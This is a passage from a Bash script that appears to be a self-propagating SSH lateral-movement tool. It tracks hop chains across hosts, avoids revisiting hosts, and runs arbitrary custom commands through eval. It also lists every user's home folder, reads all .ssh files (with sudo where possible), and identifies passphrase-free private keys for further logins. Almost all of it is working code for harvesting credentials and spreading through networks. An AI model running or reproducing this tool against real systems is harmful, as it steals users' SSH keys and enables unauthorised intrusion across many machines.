# Therefore, we take two strategies for finding and printing the addresses of the destination.
#
# Firstly, define the current destination's address as the concatenation of all of its ipv4 addresses: IP_1:IP_2:IP_3. The output of that will be:
# user@(IP_1:IP_2:IP_3)[keyfile]->user@(IP_1:IP_2:IP_3)[keyfile]->user@(IP_1:IP_2:IP_3)....
# This output isn't particuarly useful for using to actually connect to hosts using the data, but it is useful for creating graphs (because each destination will correspond to a collection of ip addresses).
# This format of ip address is also useful for the script to determine whether a destination has already been scanned or not (aka whether the destination are in the ignore_list).
# Therefore, we split all ips for this host and add a separator ":", which we use for the ignore_list as well.
#
# Secondly, we determine the destination's address which the script actually used to connect to this server:
# user@host[keyfile]->user@host[keyfile]->user@host
# This output is useful to see what the script actually did, and can therefore be used to recreate the ssh command needed to get from server A to server B.
init_current_ips() {
local current_ip
local default_route
local default_ip
local iface
# Create the current_ips array containing all of the ipv4 addresses of the destination.
while IFS= read -r current_ip; do
current_ips["$current_ip"]=1
done < <(${s} hostname -I 2>/dev/null | tr ' ' '\n' | grep -F '.')
# mac support
while IFS= read -r iface; do
while IFS= read -r current_ip; do
current_ips["$current_ip"]=1
done < <(${s} ipconfig getifaddr "$iface" 2>/dev/null)
done < <(${s} ifconfig -l 2>/dev/null | tr ' ' '\n')
current_hostnames_ip="$(IFS=:; echo "${!current_ips[*]}")"
# Then, determine the ip address for connecting to the default gateway. Otherwise, to the internet.
# sudo is required on some systems, so use it if possible.
if ip route show default >/dev/null 2>&1; then
default_route="$(${s} ip route show default 2>/dev/null | awk '/default via/{print $3; exit}')"
default_route="${default_route:-"1.1.1.1"}"
default_ip="$(${s} ip route get "$default_route" 2>/dev/null | awk -F'src' '{print $NF; exit}' | awk '{print $1}')"
elif route -n get 1.1.1.1 >/dev/null 2>&1; then
iface="$(${s} route -n get 1.1.1.1 2>/dev/null | awk '/interface: / {print $2;exit}')"
default_ip="$(${s} ipconfig getifaddr "$iface" 2>/dev/null)"
fi
default_ip="${default_ip:-"???"}"
# If $this_host has not been passed to us, set our address to the default ip address.
this_host="${this_host:-"$default_ip"}"
# If hostname -I does not work, then just fill the array with $this_host.
[[ ${#current_ips[@]} -eq 0 ]] && current_ips["$this_host"]=1 && current_hostnames_ip="$this_host"
}
# Initialize this server/destination's chains.
# Using both chains provided to the script by the $2 and $5 arguments, we combine them with the current username and ip addresses, separated by ->.
init_chains() {
# Initalize the hosts_chain. This chain is the real pathway we used to access this server/destination.
# For example, user@host[key]->user@host.
hosts_chain="$hosts_chain${hosts_chain:+->}$user@$this_host"
# Initalize the hostnames_chain. This chain is not the exact pathway in the network sense, but rather the pathway of unique servers (independent of the ip address we used to access them).
# For example, user@(host)[key]->user@(host:host:host:host)
hostnames_chain="$hostnames_chain${hostnames_chain:+->}$user@($current_hostnames_ip)"
}
# Determine the length of the indentation based on the current chain's length
# Which chain does not matter, but we use hosts_chain.
# For each "]->", we want to indent 1 characters.
# To determine the amount of ]-> instances, we loop through the chain and continuously cut where it's found.
init_indent() {
local recursive_indent_length
local temp_chain
local pattern
pattern=']->'
temp_chain="$hosts_chain"
recursive_indent_length=0
while [[ "$temp_chain" == *"$pattern"* ]]; do # XXX: Should we just use grep -c?
((recursive_indent_length++))
temp_chain="${temp_chain#*"$pattern"}" # Cut the temp. chain at the first ]->
done
indent="$(printf "%*s" $recursive_indent_length "")"
}
# Print a line beginning with the appropriate indent and hosts_chain, and anything afterwards.
# We use hosts_chain here because it makes more sense to describe the current address.
# Argument $1 is what to print after the chain.
chained_print() {
printf "%s%s%s\n" "$indent" "$hosts_chain" "$1"
}
# Parse the settings ignored_users, ignored_hosts and ignored_dests, and populate their corresponding internal arrays.
# Quit if this user, host, or destination is ignored, too (how did we get here?)
init_ignored() {
local ignored_user
local ignored_host
local ignored_dest
local current_ip
for ignored_user in "${ignored_users[@]}"; do
is_ssh_user "$ignored_user" && _ignored_users["$ignored_user"]=1
[[ "$ignored_user" == "$user" ]] && fin
done
for ignored_host in "${ignored_hosts[@]}"; do
is_ssh_host "$ignored_host" && _ignored_hosts["$ignored_host"]=1
[[ -v 'current_ips["$ignored_host"]' || ${#current_ips["$ignored_host"]} -gt 0 ]] && fin
done
for ignored_dest in "${ignored_dests[@]}"; do
is_ssh_dest "$ignored_dest" && _ignored_dests["$ignored_dest"]=1
for current_ip in "${!current_ips[@]}"; do
[[ "$ignored_dest" == "$user@$current_ip" ]] && fin
done
done
}
# Load all of the destinations from the ignore_list into the ignore_list_array array.
load_ignore_list_array() {
local line
while IFS= read -r line; do
ignore_list_array["$line"]=1
done < <(echo "$ignore_list" | tr '|' '\n' | awk -F'[@:]' -v OFS='@' '
{
user = $1
for (i = 2; i <= NF; i++) {
if ($i != "" && user != "") {
print user "@" $i
}
}
}'
)
}
# Determine whether the current server has already been scanned.
# If it has already been scanned (or is in the process of being scanned), finish.
# Otherwise, add the current destination to the ignore list (even though it has not been scanned yet, but to avoid further destinations scanned from this one going in a circle).
# If ignore_user is set, we check whether the current _host_ (not destination) alone has been scanned.
# Also fill the ignore_list_array array with a list of all the demangled dests from ignore_list.
check_for_recursion() {
[[ $ignore_user -eq 1 ]] && [[ "$ignore_list" == *"@$current_hostnames_ip$ignore_separator"* ]] && fin
[[ "$ignore_list" == *"$ignore_separator$user@$current_hostnames_ip$ignore_separator"* ]] && fin
ignore_list+="$ignore_separator$user@$current_hostnames_ip$ignore_separator"
load_ignore_list_array
# In general, if a destination has more than one ip address, the script doesn't really care about the individual addresses for the sake of checking for recursion.
# However, individual addresses are useful for discovery of dests (from ignore_list_array for example from find_from_ignore_list).
# Therefore, if $user@$this_host is not present in the demangled list of dests, add it. That is to say, if we've connected to this destination by user@this_host, and this_host is somehow not present on this server, add it.
# This will also be printed when we fin(), via $current_hosts_ip.
# XXX: Is this smart to do? Probably not: disabled until further notice.
# [[ -v ignore_list_array["$user@$this_host"] || ${#ignore_list_array["$user@$this_host"]} -gt 0 ]] && return
# current_hosts_ip="$this_host"
# ignore_list+="$ignore_separator$user@$this_host$ignore_separator"
# ignore_list_array["$user@$this_host"]=1
}
# Sets up and initializes internal variables and options.
setup() {
check_startup
check_sudo
check_sshkeygen
check_ssh_options
init_current_ips
init_chains
init_indent
# Print the normal hosts_chain.
chained_print ""
# Print the hostnames_chain.
printf "%s%s\n" "$indent" "$hostnames_chain"
init_ignored # We deal with any ignores users, hosts, and dests after printing the destination information because we want to know how we got here, but we don't want to scan.
check_for_recursion # We check for recursion after printing where we are because we only want to avoid scanning the destination if it's already been fully scanned. We still want to list how we got here.
}
# If we're using use_retry_all_dests, we don't want to scan for any users/hosts/dests on any dests that we have already scanned, we just want to find keys on those destinations.
# Therefore, if using use_retry_all_dests, no-op the addition of hosts/dests/users.
# Then, manually add all interesting_dests values into ssh_dests.
# Since interesting_dests is filled with the demangled destinations (effectively a demangled ignore_list), we check whether each of this destination's $user@$ip is in interesting_dests.
# If all of this destination's $user@$ips are in interesting_dests, we assume we are 'revisiting' this server, so do not perform scanning for users/hosts/dests.
retry_all_dests() {
local current_ip
local ssh_dest
[[ $use_retry_all_dests -eq 2 ]] || return
for current_ip in "${!current_ips[@]}"; do
if [[ " ${interesting_dests[*]} " != *" $user@$current_ip "* ]]; then # TODO: remove this loop? turn it into exit?
return # XXX: Should we report that this is a NEW destination?
fi
done
# no-op
add_ssh_dest() { :; }
add_ssh_host() { :; }
add_ssh_user() { :; }
for ssh_dest in "${interesting_dests[@]}"; do
is_ssh_dest "$ssh_dest" && ssh_dests["$ssh_dest"]=1
done
}
# Execute any custom commands, and print any output.
# XXX: If you want this to execute after the destination has been scanned, move the exec_cusom_cmds call to fin().
exec_custom_cmds() {
local cmd
for cmd in "${custom_cmds[@]}"; do
local output
output="$(eval "$cmd" 2>&1| base64 | tr -d '\n')"
chained_print ": EXTERNAL_MSG: CMD[$cmd]: $output"
done
}
# Creates a list of home folders using both getent passwd(/etc/passwd) (if possible) and listing the directories in /home/ and /Users.
# /home/ may contain deleted users' data still, therefore /etc/passwd is not completely reliable.
find_home_folders() {
local home_folder
while IFS= read -r home_folder; do
[[ -v 'home_folders["$home_folder"]' || ${#home_folders["$home_folder"]} -gt 0 ]] && continue
home_folder="$(readlink -f -- "$home_folder" 2>/dev/null)"
is_dir "$home_folder" && home_folders["$home_folder"]=1
done < <(${s} find -L "/home" "/Users" -mindepth 1 -maxdepth 1 -type d 2>/dev/null)
while IFS=: read -r _ _ _ _ _ home_folder _; do
[[ -v 'home_folders["$home_folder"]' || ${#home_folders["$home_folder"]} -gt 0 ]] && continue
home_folder="$(readlink -f -- "$home_folder" 2>/dev/null)"
is_dir "$home_folder" && home_folders["$home_folder"]=1
done < <(getent passwd 2>/dev/null)
}
# Discovers all files in the .ssh/ directories of all home folders.
init_ssh_files() {
local home_folder
for home_folder in "${!home_folders[@]}"; do
local ssh_folder
local ssh_file
ssh_folder="$home_folder/.ssh"
is_dir "$ssh_folder" || continue
while IFS= read -r ssh_file; do
is_file "$ssh_file" || continue
ssh_files["$ssh_file"]=1
done < <(${s} find -L "$ssh_folder" -type f 2>/dev/null)
done
}
# Check whether a file is an SSH private key.
check_file_for_privkey() {
local known_key_headers
local key_file
local key_header
local file_header
key_file="$1"
known_key_headers=(
"SSH PRIVATE KEY FILE FORMAT 1.1"
"-----BEGIN RSA PRIVATE KEY-----"
"-----BEGIN DSA PRIVATE KEY-----"
"-----BEGIN EC PRIVATE KEY-----"
"-----BEGIN OPENSSH PRIVATE KEY-----"
"-----BEGIN PRIVATE KEY-----"
"-----BEGIN ENCRYPTED PRIVATE KEY-----"
"---- BEGIN SSH2 ENCRYPTED PRIVATE KEY ----"
)
is_file "$key_file" || return 1
read -r -n 50 file_header < <(${s} cat -- "$key_file" 2>/dev/null) # cat is faster than head.
for key_header in "${known_key_headers[@]}"; do
if [[ "$file_header" == *"$key_header"* ]]; then
return 0
fi
done
return 1
}
# Given the location of a potential ssh private key, determine whether we can use the private key for ssh. If so, populate the priv_keys array which contains keys that we will ssh with.
#
# First we attempt to generate a public key for the file using ssh-keygen -yf with an invalid password. If the private key does not have a password, the invalid password does not affect the public-key generation. If the private key does have a passphrase, an error occurs.
# On old ssh-keygen versions, using ssh-keygen -yf on files with too-permissive permissions (regardless of (whether it has a passphrase or not) forces a prompt. By specifying a passphase, this prompt is avoided.
# Therefore, if ssh-keygen -yf fails, we are dealing with any of: 1) a file which is not a private key, 2) a file with invalid permissions, or 3) a private key with a passphrase (or a combination thereof).
# If ssh-keygen -yf's stderr includes "invalid format", the file is not a private key.
#
# If ssh-keygen -yf succeeds, we are dealing with a file which is an unprotected private key file.
#
# There are quite a lot of different failure cases which may be considered, such as (possibly not exhaustive):
# Permission issues on [keyfile], missing [keyfile].pub files (for old versions of ssh-keygen), missing [keyfile].pub files for PEM formatted keys, all protected keys with missing [keyfile].pub (for old ssh-keygen), permission issues on [keyfile] while missing [keyfile].pub and using an extremely old version of ssh-keygen.
# [keyfile] could also not be a valid key at all.
#
# It's all a big mess, which is probably impossible to solve with ssh-keygen itself.
# Therefore, we don't mess around with it and simply use the pubkey as the key for the array of private keys, and the value is the location of the key.
# Also print the key's contents.
populate_keys() {
local ssh_pubkey
local ssh_pubkey_ret
local key_file
key_file="$1"
# ssh-keygen -yf attempts to calculate the public key from the private key.
# Even if there is no passphrase, use -P because old versions of ssh-keygen start an interactive prompt if there are permission errors.
ssh_pubkey="$(${s} ssh-keygen -P NOT_VALID4SURE -yf "$key_file" 2>&1)"
ssh_pubkey_ret=$?
# Ignore the file if it isn't found (race condition?)
# On new versions of ssh-keygen, an error is produced if the file is not a private key file.
if [[ "$ssh_pubkey" == *"invalid format"* || "$ssh_pubkey" == *"No such file or directory"* ]]; then
return 1
fi
if [[ $ssh_pubkey_ret -eq 0 ]]; then
chained_print ": Discovered usable private key in [$key_file]"
priv_keys["$ssh_pubkey"]="$key_file"
else
chained_print ": Discovered unusable private key in [$key_file]"
fi